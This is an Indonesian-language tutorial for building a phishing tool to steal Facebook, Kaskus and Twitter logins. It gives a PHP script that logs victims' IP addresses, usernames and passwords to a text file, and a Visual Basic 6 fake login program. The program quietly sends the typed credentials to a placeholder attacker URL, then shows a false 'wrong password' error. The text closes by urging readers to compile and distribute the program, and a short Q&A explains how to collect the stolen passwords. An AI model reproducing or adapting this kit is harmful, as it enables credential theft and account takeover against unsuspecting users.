Cara membuat Phising dengan VB6

1. Siapkan notepad lalu masukan kode ini

<?php
$datum=date('d-m-Y / h:i:s a');
$email = $_GET[e];
$password = $_GET[p];
$ip = getenv ('REMOTE_ADDR');
$fl = fopen('Ihiy.txt', 'a');
fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");
fclose($fl);
$ref = $_SERVER['HTTP_REFERER'];
header("location: $ref");
?>

simpan kode tersebut dengan nama terserahkamunamanya.php (cara simpannya : pilih file types -> all files )

2. Sekarang buka Microsoft Visual Basic 6.0 nya
3. siapkan form dan module, form diberi nama frmUtama dan module diberi nama modConnect
4. Masukan kode ini di modconnect

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8 
'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function

5. di frmUtama masukan 2 textbox, 1 command button dan 1 label
textbox pertama diberinama : txtUname
textbox kedua diberinama : txtPass

command button diberi nama : cmdLogin
command button diberi caption : &Login

label diberi nama : LBLInfo

masukan kode ini kedalam form :

 Private Sub Form_Load()
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Internet !"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
Me.Caption = "Captionnya terserah kalian mau nama apa aja"
End If
End Sub

6. nah setelah itu klik 2x cmdLogin yg telah diberi caption Login tadi, dan masukan kode ini :

Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text 
If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application") 
IE.Visible = 0
IE.Navigate "http://www.domainkamu.com/namafile.php?e=" & _
  user & "&p=" & pass 
Do While IE.Busy
Sleep 200 'sleepnya 200 ajah :p 
Loop
IE.Quit
Set IE = Nothing 
lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If

nah kalo sudah, pilih file -> make Project .exe
selesai deh, tinggal disebar aja, ini bisa buat kaskus, facebook, bahkan twitterpun bisa



question :
Q : gimana caranya liat passwordnya?
A : nanti webhosting kamu akan muncul file bernama Ihiy.txt
Q : trus gimana lagi?
A : kalo kamu pake webhosting di download saja filenya, nanti muncul username dan password korban

sekian dari saya Tentang Cara Membuat Phising Hack Tools Facebook
 Selamat Mencoba Semoga Berhasil